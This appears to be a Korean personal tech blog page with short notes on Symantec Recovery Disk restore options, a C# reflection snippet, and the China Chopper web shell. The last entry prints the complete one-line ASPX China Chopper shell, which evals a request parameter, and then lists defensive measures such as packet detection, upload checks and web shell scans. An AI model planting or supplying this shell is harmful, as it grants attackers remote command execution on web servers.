2014/10/31

Symantec Recovery Disk - Windows 7/8/2008/2012

- 시스템 예약 파티션 (100M~300M)
- 드라이브 파티션 (ex, C / D.....)

1. 시스템 예약 파티션 복원 옵션
- Set drive active(for booting OS)
- Restore master boot record

2. 드라이브 파티션 복원 옵션
- Use Restore Anyware to recover to different hardware (라이센스 필요)
- Restore original disk signature

 

[Anyware restore]
http://www.symantec.com/docs/TECH55329  
http://www.symantec.com/docs/TECH55822
http://www.symantec.com/docs/TECH212105    
Delete Existing Drivers
Prompt for Drivers
Run Windows Mini-Setup

 

 


2014/10/08

C#, 클래스의 필드(변수) 정보 가져오기


Type type = typeof(object);

System.Reflection.FieldInfo[] f =
    type.GetFields(System.Reflection.BindingFlags.Public |
        System.Reflection.BindingFlags.Static |
        System.Reflection.BindingFlags.Instance);

foreach(System.Reflection.FieldInfo _f in f) {
    Console.WriteLine(_f.Name + ":" + _f.GetValue(null));
}

# Flags 는 해당 클래스내에 선언된 것중에 가져올 타입 지정




2014/09/01

China Chopper Web Shell

Example, test.aspx
<%@ Page Language="Jscript"%><%eval(Request.Item["memeber"],"unsafe");%>


China Chopper Webshell - the 4KB that Owns your Web Server
http://informationonsecurity.blogspot.kr/2012/11/china-chopper-webshell.html

Breaking Down the China Chopper Web Shell ? Part II
http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html

 

- snort 류와 같은 솔루션/장비를 이용한 패킷 패턴 검출
- IIS 에서, .NET 신뢰수준 변경
- 웹사이트 업로드 경로에 허용되지 않은 파일 업로드 체크(코드수준)
- FTP 를 통해서 웹쉘 업로드가 가능하지 않도록 방화벽 제어
- 정기적인 웹쉘 스캔
  ....... 등등등............

 

 


가장 많이 본 글